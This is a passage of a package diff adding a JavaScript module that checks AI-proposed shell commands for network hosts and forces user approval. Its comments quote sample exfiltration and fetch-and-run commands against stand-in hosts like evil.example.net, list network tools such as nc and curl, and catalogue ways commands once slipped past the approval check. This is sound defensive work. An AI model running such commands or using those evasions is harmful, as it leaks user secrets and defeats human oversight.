@gaunt-sloth/core 2.0.0-alpha.8 → 2.0.0-beta.0

package/dist/core/shell/openWorld.js

@@ -0,0 +1,1188 @@
+/**
+ * @module core/shell/openWorld
+ *
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
+ * so it is always asked about and can never be auto-approved.
+ *
+ * ## Why this is not a trust judgement, and must never become one
+ *
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
+ * model and a working developer were measured failing exactly that** — the developer flagged the
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
+ * about, and no misreading of a hostname can produce an auto-approve.
+ *
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
+ * therefore before this.
+ *
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
+ *
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
+ * *asked*. So:
+ *
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
+ *   literal, which is the discrimination both a cheap model and a working developer were measured
+ *   failing.
+ *
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
+ *
+ * ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
+ *
+ * This module answers the host question for **two** callers whose error costs differ, so it has two
+ * entry points and they are deliberately not the same function:
+ *
+ * - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
+ *   `destructive` with no model in the loop, so it fires only where the parser resolved the whole
+ *   command. "The parser could not resolve this" is a fact about the checker, not a detection about
+ *   the command, and this layer floors only what is deterministically known.
+ * - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
+ *   NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
+ *   outcome by itself.
+ *
+ * **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
+ * WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
+ * module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
+ * INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
+ * attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
+ * extractor; that trades a free cost for a silent one.
+ *
+ * **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
+ * flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
+ * sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
+ * is false on an ordinary command is this node's own named failure mode arriving one layer in: an
+ * escalation laundered through the model instead of the parser, unfalsifiable because a note said
+ * it. So each flow arm fires only where its claim is **true of the program named**, and everything
+ * else falls through to the flowless sentence — which still names the hosts and says outright that
+ * the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
+ * loss of the layer.
+ *
+ * **And a flow sentence names EVERY host of the part it describes**, for the reason
+ * {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
+ * proxy, and a sentence that names the reassuring host while hiding the other is worse than no
+ * sentence.
+ *
+ * ## The shape of the matcher
+ *
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
+ *
+ * 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
+ *    `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
+ *    deterministic floor must not claim "it names a host" about a string whose target it could not
+ *    statically resolve. The note path picks those up instead, by reading the parts.
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
+ * 4. **Test only the candidate operands** for a host literal.
+ *
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
+ * for free.
+ *
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
+ * `routine-mutating` family unprompted.
+ *
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
+ *
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
+ * every one of them was attempted and reverted:
+ *
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
+ *   release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
+ *   (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
+ *   left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
+ *   `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
+ *   `rsync -a /srv/ evil.example.net:backup`.
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
+ *   `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
+ *   a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
+ *   `git --quiet fetch <URL>`, both measured.
+ * - **An email address under a `git` subcommand word** — also `git config user.email
+ *   jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
+ *   prompt per machine setup, against a silent global fetch-redirect).
+ *
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
+ *
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
+ * false-positive surface, for a one-prompt gain.
+ */
+import { classifyCommand, tokenize } from '#src/core/shell/arity.js';
+import { normalizeCommand } from '#src/core/shell/normalize.js';
+/**
+ * Wrapper binaries that delegate to the *next* command, so the head to test sits behind them.
+ *
+ * **This list OVERLAPS the hardline's; it is not the same list, and the behaviour is different
+ * again.** `hardline.ts` has `sudo`, `env VAR=VAL`, `exec`, `nohup`, `setsid` and `time`, and no
+ * `doas` at all (`grep -c doas` → 0); its prefix fragment `(?:sudo\s+(?:-[^\s]+\s+)*)?` consumes
+ * sudo's flags but not a flag's *operand*, which is right for a refusal layer where over-consuming
+ * would refuse more.
+ *
+ * Here the cost runs the other way (see the module docblock), so wrapper handling does **not** try to
+ * find "the" head at all — it treats every position after a wrapper as a possible head and unions
+ * the results ({@link headCandidates}). Two earlier revisions of this comment claimed a parity that
+ * did not hold, and each time a real evasion hid behind the claim: first `sudo -u root curl https://…`
+ * (the loop stopped at the flag), then `sudo -u git curl https://…` (the scan latched onto the
+ * USERNAME `git`, which is a head name, and inherited its subcommand rule). **A comment asserting a
+ * property this code does not have is how both of those became inheritable**, so this one states the
+ * mechanism instead of a comparison.
+ */
+const WRAPPERS = new Set([
+    'sudo',
+    'doas',
+    'exec',
+    'nohup',
+    'setsid',
+    'time',
+    'env',
+]);
+/**
+ * Package-manager subcommands whose `--` hands the rest of the argv to a SCRIPT rather than to the
+ * package manager. Deliberately just these two: for every other subcommand `--` is an ordinary
+ * end-of-options marker and the operands after it are still the package manager's own.
+ */
+const RUN_SUBCOMMANDS = new Set(['run', 'run-script']);
+/** A leading `VAR=value` assignment, which precedes the real head exactly like a wrapper does. */
+const ENV_ASSIGNMENT_RE = /^[A-Za-z_][A-Za-z0-9_]*=/;
+/**
+ * The network-capable heads, and where a host may appear under each.
+ *
+ * **This table is INCOMPLETE BY CONSTRUCTION and that is a design decision, not an oversight** —
+ * `svn`, `hg`, `mvn`, `gradle`, `kubectl`, `docker`, `gh`, `deno`, `go`, `cargo`, `helm`, `brew` and
+ * `terraform` all reach the network and are deliberately absent. Adding one is cheap and safe (a
+ * miss becomes a prompt); what is *not* safe is widening a head's `HostPosition` so that an ordinary
+ * LOCAL operand starts reading as a fetch target — that is the one edit that can put a filename in
+ * front of the user as a "host". Weigh any addition against the must-NOT-fire probes in
+ * `spec/shellOpenWorld.spec.ts`, not against the corpus — the corpus has almost no coverage of that
+ * direction (see that spec's docblock).
+ *
+ * A `Map`, not an object literal, on purpose: the head comes from an attacker-influenceable command
+ * string, and `NET['constructor']` on a plain object resolves through the prototype chain to
+ * something that is not an entry of this table. The same hazard is documented at
+ * {@link import('./rater.js').isBelowDestructiveFloor}.
+ */
+const NETWORK_HEADS = new Map([
+    // Fetchers / transfer agents whose operands are ENDPOINTS, not local files: a scheme-less
+    // `example.com/install.sh` is a fetch here and nothing else.
+    ['curl', { kind: 'all', bareHost: true }],
+    ['wget', { kind: 'all', bareHost: true }],
+    ['aria2c', { kind: 'all', bareHost: true }],
+    ['http', { kind: 'all', bareHost: true }], // httpie
+    ['httpie', { kind: 'all', bareHost: true }],
+    ['xh', { kind: 'all', bareHost: true }],
+    ['nc', { kind: 'all', bareHost: true }],
+    ['ncat', { kind: 'all', bareHost: true }],
+    ['netcat', { kind: 'all', bareHost: true }],
+    ['telnet', { kind: 'all', bareHost: true }],
+    ['ssh', { kind: 'all', bareHost: true }],
+    ['sftp', { kind: 'all', bareHost: true }],
+    ['ftp', { kind: 'all', bareHost: true }],
+    // Transfer agents that take LOCAL paths beside remote ones — no bare-host rule, or `./my.dir/x`
+    // would be offered to the user as a hostname.
+    ['scp', { kind: 'all' }],
+    ['rsync', { kind: 'all' }],
+    // Cloud CLIs — a bucket/object URI is a host literal (`s3://…`, `gs://…`).
+    ['aws', { kind: 'all' }],
+    ['gsutil', { kind: 'all' }],
+    ['az', { kind: 'all' }],
+    // `git` only where a URL stands in for a configured remote. `git commit -m "…https://…"` and
+    // `git tag -a v1 -m "see https://…"` are NOT fetches, and prompting on them would be a worse
+    // annoyance regression than the one this preflight was built to avoid.
+    //
+    // **`config` is in this set deliberately, and it widens the design — do not "simplify" it out.**
+    // The rest of this module rests on *a URL under a head that cannot reach the network is not a
+    // fetch*, which is true of `git commit -m`, where the URL is prose. A config write is not prose:
+    // it is a STORED FETCH TARGET, which is the same thing `--registry` is, and
+    // `npm config set registry https://…` has always floored here. Without it git contradicted
+    // itself — `git remote set-url origin <URL>` floored while `git config remote.origin.url <URL>`,
+    // the identical write to the identical file, was auto-approved — and, worse,
+    // `git config --global url.https://evil/.insteadOf https://github.com/` silently redirected EVERY
+    // FUTURE GITHUB FETCH ON THE MACHINE, persistently, which is strictly worse than the one-shot
+    // fetch that did floor. Measured price: two false positives, both `git config user.email
+    // <address>`, i.e. one prompt per machine setup. `git config user.name`, `--list`, `--get`,
+    // `--unset`, `core.editor` and `alias.*` carry no host literal and stay silent.
+    [
+        'git',
+        {
+            kind: 'subcommand',
+            subcommands: new Set([
+                'clone',
+                'push',
+                'pull',
+                'fetch',
+                'remote',
+                'submodule',
+                'ls-remote',
+                'archive',
+                'config',
+            ]),
+        },
+    ],
+    // Package managers. The configured default registry in `.npmrc` is not a host literal, so
+    // `npm install lodash` stays unprompted — but an `--registry`/`--index-url` override is, and so is
+    // a URL in the install-target position (`npm install https://…/pkg.tgz` fetches remote code and
+    // then runs its lifecycle scripts).
+    ['npm', { kind: 'flag', flags: new Set(['--registry']) }],
+    ['pnpm', { kind: 'flag', flags: new Set(['--registry']) }],
+    ['yarn', { kind: 'flag', flags: new Set(['--registry']) }],
+    ['npx', { kind: 'flag', flags: new Set(['--registry']) }],
+    ['pip', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
+    ['pip3', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
+]);
+/** `scheme://…` — `https`, `http`, `ftp`, `s3`, `gs`, `git+ssh`, anything. */
+const SCHEME_RE = /^[a-z][a-z0-9+.-]*:\/\//i;
+/** `user@host` (`deploy@myhost:/srv/`, `git@github.com:owner/repo.git`). */
+const USER_AT_HOST_RE = /^[^@\s/]+@[a-z0-9._-]+(:|$)/i;
+/**
+ * A bare IPv4 target, with or without a port or path — but **not** a CIDR mask.
+ *
+ * `192.168.1.0/24` is a network range, not a counterparty, and it appears in ordinary firewall work
+ * (`ufw allow ssh from 192.168.1.0/24`, `iptables … -s 203.0.113.0/24`) where a head name also sits
+ * in an argument position. `203.0.113.9/payload` is a fetch and still matches; the exclusion is only
+ * a trailing `/` plus one or two digits and nothing else, which no fetch path realistically is.
+ */
+const IPV4_RE = /^(\d{1,3}\.){3}\d{1,3}(:|\/(?!\d{1,2}$)|$)/;
+/**
+ * A bracketed IPv6 target — `[2001:db8::1]`, `[::1]:8080/x`. The scheme form already matched via
+ * {@link SCHEME_RE}; this is the bare one. A bracketed operand is otherwise unheard of in a shell
+ * command, so the false-positive cost is nil.
+ */
+const IPV6_RE = /^\[[0-9a-f:.]+\](:\d+)?(\/|$)/i;
+/**
+ * scp/rsync `host.tld:path` with no scheme. The `(?!\/\/)` keeps it from re-matching a scheme.
+ *
+ * The final label must be **letters, two or more** — a real TLD never is anything else (RFC 3696;
+ * an all-numeric final label is an address, and {@link IPV4_RE} owns that). Without that clause the
+ * pattern read a dotted **git refspec** as a host: `git push origin v1.2.3:refs/tags/v1.2.3` floored,
+ * which is routine release work and exactly the annoyance regression §4.6 is built to avoid.
+ */
+const HOST_COLON_PATH_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}:(?!\/\/)/i;
+/**
+ * A scheme-less dotted host **followed by a path or a port** — `example.com/install.sh`,
+ * `evil.example.net:8080/x`. Only offered to heads marked `bareHost`.
+ *
+ * The trailing `\/` or `:port` is what separates a hostname from a filename, and it is required for
+ * exactly that reason: `file.tar.gz`, `urls.txt`, `package.json` and `batch.txt` are all
+ * `label.label` with a letters-only final label, and admitting them would put a FILENAME in front of
+ * the user as the counterparty — which defeats §4.6.1, whose entire premise is that the sentence
+ * naming the host is the deliverable.
+ *
+ * The consequence, deliberate and documented: `ssh prod.example.com uptime` and
+ * `nc evil.example.net 4444` are **misses**, because neither has a path or a port attached. A miss
+ * costs a rating, which is what happened before this node existed.
+ */
+const BARE_HOST_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}(:\d+)?\//i;
+/**
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
+ * counterparty trustworthy"* (§4.1.1).
+ */
+export function isHostLiteral(operand) {
+    return (SCHEME_RE.test(operand) ||
+        USER_AT_HOST_RE.test(operand) ||
+        IPV4_RE.test(operand) ||
+        IPV6_RE.test(operand) ||
+        HOST_COLON_PATH_RE.test(operand));
+}
+/**
+ * {@link isHostLiteral}, plus the scheme-less `host.tld/path` form. Applied only to operands of a
+ * head marked `bareHost` — see {@link BARE_HOST_RE} for why it is not applied everywhere.
+ */
+function isHostLiteralOrBareHost(operand) {
+    return isHostLiteral(operand) || BARE_HOST_RE.test(operand);
+}
+/**
+ * Reduce an argv[0] to the bare binary name: drop any path prefix, case-fold, drop a `.exe`.
+ *
+ * **The case fold is a real evasion fix, found by RUNNING the prototype rather than reading it.**
+ * `cUrL https://…` passed the first version, because {@link normalizeCommand} deliberately
+ * preserves case. That is irrelevant on Linux — but on **Windows and case-insensitive macOS
+ * volumes that command resolves and runs**, and gaunt-sloth ships on both. A local Linux test run
+ * cannot prove this cell; the CI matrix is what does.
+ */
+function bareHead(token) {
+    const lastSegment = token.split(/[\\/]/).pop() ?? '';
+    return lastSegment.toLowerCase().replace(/\.exe$/, '');
+}
+/**
+ * A token that is a URL rather than a program: `https://example.com/curl`'s last path segment is
+ * `curl`, and without this it would resolve to the head `curl` at whatever position it sits in.
+ */
+const URL_SHAPED_RE = /:\/\//;
+/**
+ * Every position in argv that may be the network head, each with its own {@link HostPosition} and
+ * {@link HeadTier}.
+ *
+ * ## Why every position, and why no list of wrapper names
+ *
+ * This is the fourth shape of this function, and the previous three each died to the same failure:
+ * **naming the things that may precede a command.** The wrapper loop stopped at the first flag
+ * (`sudo -u root curl …` evaded); scanning to the *first* head re-anchored onto a decoy
+ * (`sudo -u git curl …` evaded, because `git` is a real system user); and gating the scan on a
+ * `WRAPPERS` membership test left `timeout 30 curl …` evading while `time curl …` floored — the
+ * near-homograph of a name that *was* in the list. Twelve more names (`nice`, `stdbuf`,
+ * `proxychains`, `torsocks`, `runuser`, `busybox`, `flock`, …) would have closed today's twelve and
+ * reopened on the thirteenth tool anyone writes.
+ *
+ * So there is no membership test in the loop below. **Every token is a candidate head**, and the
+ * question a name would have answered — *is this token the command, or an argument to one?* — is
+ * answered by TIER instead of by exclusion, so being wrong about it costs precision rather than the
+ * whole match.
+ *
+ * ## How the tier is decided
+ *
+ * `full` applies while nothing but flags, flag values, wrappers and `VAR=value` assignments has been
+ * passed — i.e. **while the command itself has not yet appeared**. The moment a token appears that is
+ * none of those (`cp` in `sudo -u root cp /usr/bin/curl backup.dir/`), that token is the command, every
+ * later head-shaped token is one of its arguments, and the tier drops to `restricted` for the rest of
+ * the argv. A flag's *value* keeps `full` alive — that is what makes `sudo -u root curl …` and
+ * `sudo -u git curl …` behave identically — without needing to know which flags take one.
+ *
+ * **`WRAPPERS` is consulted by the tier predicate and nowhere else**, which is the whole of what is
+ * left of it. There used to be a loop here that advanced an index past leading wrappers and
+ * `VAR=value` assignments; once the tier predicate existed that loop was **provably dead** — deleting
+ * it entirely changed no test and no behaviour, because the predicate already lets a wrapper keep the
+ * `full` tier alive at the position the loop would have landed on. It is gone rather than kept as an
+ * unkillable branch. Emptying `WRAPPERS`, by contrast, turns 20 tests red: a name missing from it now
+ * costs *precision* (a scheme-less target behind that wrapper goes unseen) rather than the whole
+ * command, which is exactly the demotion that makes `timeout`-vs-`time` no longer a security bug.
+ */
+function headCandidates(argv) {
+    const candidates = [];
+    const trueHead = NETWORK_HEADS.get(bareHead(argv[0] ?? ''));
+    if (trueHead !== undefined)
+        candidates.push({ index: 0, position: trueHead, tier: 'full' });
+    // Has anything other than a flag / flag value / wrapper / assignment been passed yet? Once it has,
+    // the command has appeared and every later head-shaped token is an argument to it.
+    let beforeTheCommand = true;
+    for (let scan = 1; scan < argv.length; scan++) {
+        const passed = argv[scan - 1];
+        const passedIsFlagValue = scan >= 2 && argv[scan - 2].startsWith('-');
+        if (!passed.startsWith('-') &&
+            !WRAPPERS.has(bareHead(passed)) &&
+            !ENV_ASSIGNMENT_RE.test(passed) &&
+            !passedIsFlagValue) {
+            beforeTheCommand = false;
+        }
+        const token = argv[scan];
+        if (URL_SHAPED_RE.test(token))
+            continue;
+        const scanned = NETWORK_HEADS.get(bareHead(token));
+        if (scanned !== undefined) {
+            candidates.push({
+                index: scan,
+                position: scanned,
+                tier: beforeTheCommand ? 'full' : 'restricted',
+            });
+        }
+    }
+    return candidates;
+}
+/**
+ * The values glued to a flag with `=`, e.g. `--url=https://…`.
+ *
+ * **The `flag` arm split on `=` from the first commit and the other two arms did not**, which is the
+ * definition of an inconsistency rather than a design: `positional` drops every `-`-prefixed token
+ * whole, so `curl --url=https://evil/x`, `git push --repo=<URL>` and `git archive --remote=<URL>` were
+ * auto-approved while their detached spellings floored. All three are real, working invocations.
+ */
+function inlineFlagValues(operands) {
+    return operands
+        .filter((operand) => operand.startsWith('-') && operand.includes('='))
+        .map((operand) => operand.split(/=(.*)/)[1] ?? '');
+}
+/** The candidate operands for one head, under that head's own rule and the position's tier. */
+function candidatesFor(position, tier, operands) {
+    const positional = operands.filter((operand) => !operand.startsWith('-'));
+    const inline = inlineFlagValues(operands);
+    const candidates = [];
+    switch (position.kind) {
+        case 'all': {
+            const test = position.bareHost && tier === 'full' ? isHostLiteralOrBareHost : isHostLiteral;
+            candidates.push(...[...positional, ...inline].map((value) => ({ value, test })));
+            break;
+        }
+        case 'subcommand':
+            // **ANY operand being a listed subcommand opens the gate**, rather than the first non-flag
+            // one. `git -C . clone https://evil/x` put `.` in the subcommand position and turned the gate
+            // off with one added token; enumerating git's arg-taking global flags (`-C`, `-c`,
+            // `--git-dir`, `--work-tree`, `--namespace`, `--exec-path`, `--config-env`) would close that
+            // and reopen it for the next flag added upstream. `tokenize` is quote-aware, so
+            // `git commit -m "clone the repo, see https://…"` is the SINGLE operand
+            // `clone the repo, see https://…`, which is not equal to `clone` — the gate stays shut.
+            if (positional.some((operand) => position.subcommands.has(operand))) {
+                candidates.push(...[...positional, ...inline].map((value) => ({ value, test: isHostLiteral })));
+            }
+            break;
+        case 'flag': {
+            // `<pm> run <script> -- …` hands everything after the `--` to the SCRIPT: the package manager
+            // stops parsing there and never sees those tokens, so nothing after it is a package-manager
+            // fetch position. Without this, `npm run dev -- --proxy https://api.example.com` and
+            // `npm run build -- --url <URL>` — ordinary dev-server invocations — prompted every time.
+            //
+            // **Scoped to `run`/`run-script` on purpose, and that scope is the whole safety of it.** `--`
+            // is an end-of-options marker for the OTHER subcommands, where the operands after it are still
+            // the package manager's own: `npm install -- https://evil/pkg.tgz` installs that tarball, and
+            // it must keep flooring. A blanket "ignore everything after `--`" would be an evasion.
+            //
+            // The residual, stated so it is a decision: a project script that forwards its arguments to a
+            // network tool (`"build": "curl"`) would fetch a post-`--` URL. That is not a package-manager
+            // fetch, it is indistinguishable from the same script with the URL hardcoded — which
+            // `npm run build` alone already is, silently — and reaching it requires a script that already
+            // exists in package.json.
+            const scriptArgs = RUN_SUBCOMMANDS.has(positional[0] ?? '') ? operands.indexOf('--') : -1;
+            const own = scriptArgs === -1 ? operands : operands.slice(0, scriptArgs);
+            const ownPositional = own.filter((operand) => !operand.startsWith('-'));
+            // The registry/index OVERRIDE is exempt from that boundary, and deliberately so: it is scanned
+            // across the whole argv. A first cut honoured the boundary here too, and no mutation could kill
+            // it — nothing observable changed, because the flags this arm knows (`--registry`,
+            // `--index-url`, `-i`) are not the flags the false positive was about (`--url`, `--proxy`,
+            // `--host`, which no package manager parses). Scanning everything is the raise-only choice and
+            // the one without an untestable branch: `npm run build -- --registry <URL>` floors, which is an
+            // over-match rather than a miss.
+            for (let i = 0; i < operands.length; i++) {
+                // Both spellings: `--registry=URL` and `--registry URL`.
+                const [flag, inlineValue] = operands[i].split(/=(.*)/);
+                if (position.flags.has(flag)) {
+                    candidates.push({ value: inlineValue ?? operands[i + 1] ?? '', test: isHostLiteral });
+                }
+            }
+            // The install TARGET, tested for a URL scheme ONLY. `npm install https://evil/p.tgz` fetches
+            // remote code and runs its lifecycle scripts, and was auto-approved because this arm looked at
+            // flag values alone. The narrow test is deliberate: the full `isHostLiteral` would read
+            // `npm install typescript@latest` and `npm install lodash@4.17.21` as `user@host` and prompt
+            // on two of the most ordinary commands there are.
+            candidates.push(...[...ownPositional, ...inlineFlagValues(own)].map((value) => ({
+                value,
+                test: (operand) => SCHEME_RE.test(operand),
+            })));
+            break;
+        }
+    }
+    return candidates;
+}
+/**
+ * Test ONE tokenized form of the command for host literals in a fetch position: collect every
+ * possible head position, and union what each one finds under its own rule.
+ *
+ * Kept separate from {@link findOpenWorldHostLiterals} because that function runs this over **two**
+ * forms of the same command — see there for why.
+ *
+ * @returns every host literal found, in argv order. Empty when the command names no counterparty.
+ */
+function matchArgv(argv) {
+    const hits = [];
+    for (const { index, position, tier } of headCandidates(argv)) {
+        const candidates = candidatesFor(position, tier, argv.slice(index + 1));
+        hits.push(...candidates.filter((c) => c.test(c.value)).map(({ value }) => value));
+    }
+    // De-duplicated, in first-seen order: a detached flag value (`--registry <URL>`) is also a
+    // positional operand, and two head positions can reach the same operand, so the same literal can
+    // be admitted twice and would otherwise be named twice in the one sentence the user reads.
+    return [...new Set(hits)];
+}
+/**
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
+ * no counterparty (spec §4.6).
+ *
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
+ * caller can never accidentally hand this a form that has already lost the composition boundary
+ * the decline below depends on.
+ *
+ * **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
+ * than flooring — for any command {@link classifyCommand} cannot classify: those compose, substitute
+ * or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
+ * actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
+ * floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
+ * is a different question with a different error cost (module docblock). The same decline is why
+ * `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
+ * expression reads as composition.
+ *
+ * **Every match is returned, not the first.** The first is not the target: for
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
+ * names the reassuring one and hides the other defeats the point of the layer.
+ *
+ * ## Why both the normalized AND the raw argv are tested
+ *
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
+ * Windows one easy to miss by reading.
+ *
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
+ *
+ * @param command The raw command string as the model proposed it.
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
+ */
+export function findOpenWorldHostLiterals(command) {
+    // (1) Unclassifiable → not ours. See the docblock: the ambiguity preflight owns these.
+    if (classifyCommand(command, normalizeCommand) === null)
+        return [];
+    // The anti-obfuscation form first — `c\url`, `r''m`, fullwidth glyphs and ANSI escapes are all
+    // folded away here.
+    const normalizedArgv = tokenize(normalizeCommand(command));
+    // `null` is unreachable in practice (classifyCommand already returns null on an unbalanced
+    // quote); handled anyway so this function is total on its own terms rather than relying on a
+    // neighbour's invariant.
+    const normalizedHits = normalizedArgv === null ? [] : matchArgv(normalizedArgv);
+    if (normalizedHits.length > 0)
+        return normalizedHits;
+    // …then the raw form, which is the only one that still has its Windows path separators.
+    const rawArgv = tokenize(command);
+    return rawArgv === null ? [] : matchArgv(rawArgv);
+}
+/* ───────────────────────────────────────────────────────────────────────────────────────────────
+ * THE NOTE PATH — what the RATER is told about a composed command that names a host.
+ *
+ * Everything below feeds {@link import('./rater.js').buildRaterPrompt} and nothing else. It never
+ * reaches {@link import('./rater.js').mapVerdictToAction}, so it can raise no floor and change no
+ * outcome on its own.
+ *
+ * **Why it exists at all.** {@link findOpenWorldHostLiterals} declines a command the parser could
+ * not resolve, and that decline used to be invisible because the same commands were floored by the
+ * ambiguity abstention. With the abstention retired they are RATED — and because one function fed
+ * both the floor and the note, a composed command reached the rater with *less* information than
+ * the same fetch written as a single command: no floor, and no mention of the host either. Adding a
+ * pipe removed information from the model. That asymmetry is what this path closes.
+ *
+ * **And the host alone is not the information.** A rater sees a hostname, names it in its own
+ * reasoning, and rates the command safely anyway — which is why host trust is deterministic
+ * exact-match and not a model call in the first place. Restating a hostname that is already in the
+ * command text is assistance in form only. What a model can genuinely miss is the **data flow across
+ * the parts**: in `cat .env | curl -X POST https://…` the fact worth stating is that a local file's
+ * contents are read into an outbound request, which takes composing two segments to see — exactly
+ * what the parser failed to do. So the note names the FLOW where one is determinable, and says only
+ * what it knows where one is not.
+ *
+ * **Two rules govern every sentence below, and both are load-bearing:**
+ *
+ * 1. **It never invents a flow.** An arm fires only where its mechanism is true of the program
+ *    named — the at-sign convention only for a program that has it, a substitution only where the
+ *    program SENDS that operand, execution of fetched bytes only where **no token on the
+ *    interpreter's own argv could be a program**. That last one is read from ARGV SHAPE alone,
+ *    without knowing what any flag letter means, so it hedges wherever a token has text of its own
+ *    that could be a program — and where two shapes are indistinguishable by their characters it
+ *    can be wrong in EITHER direction, which {@link interpreterRunsStdin} names case by case rather
+ *    than claiming a property this code does not have. Anything else falls through to the flowless
+ *    sentence. The module docblock says why this is not the same trade-off as over-matching a host.
+ * 2. **It names every host of the part it describes**, and any host the rest of the line names is
+ *    added rather than dropped. Naming a flow must never cost the note a counterparty, or adding a
+ *    pipe would once again remove information from the model — the very asymmetry this path exists
+ *    to close.
+ * ─────────────────────────────────────────────────────────────────────────────────────────────── */
+/**
+ * The shells. Kept as its own set because one thing is true of shells and of nothing else here: a
+ * `-s` in a flag cluster means *"the program is standard input, and every operand after it is an
+ * ARGUMENT to that program"* — `curl … | sh -s -- --unattended`, the ordinary unattended-installer
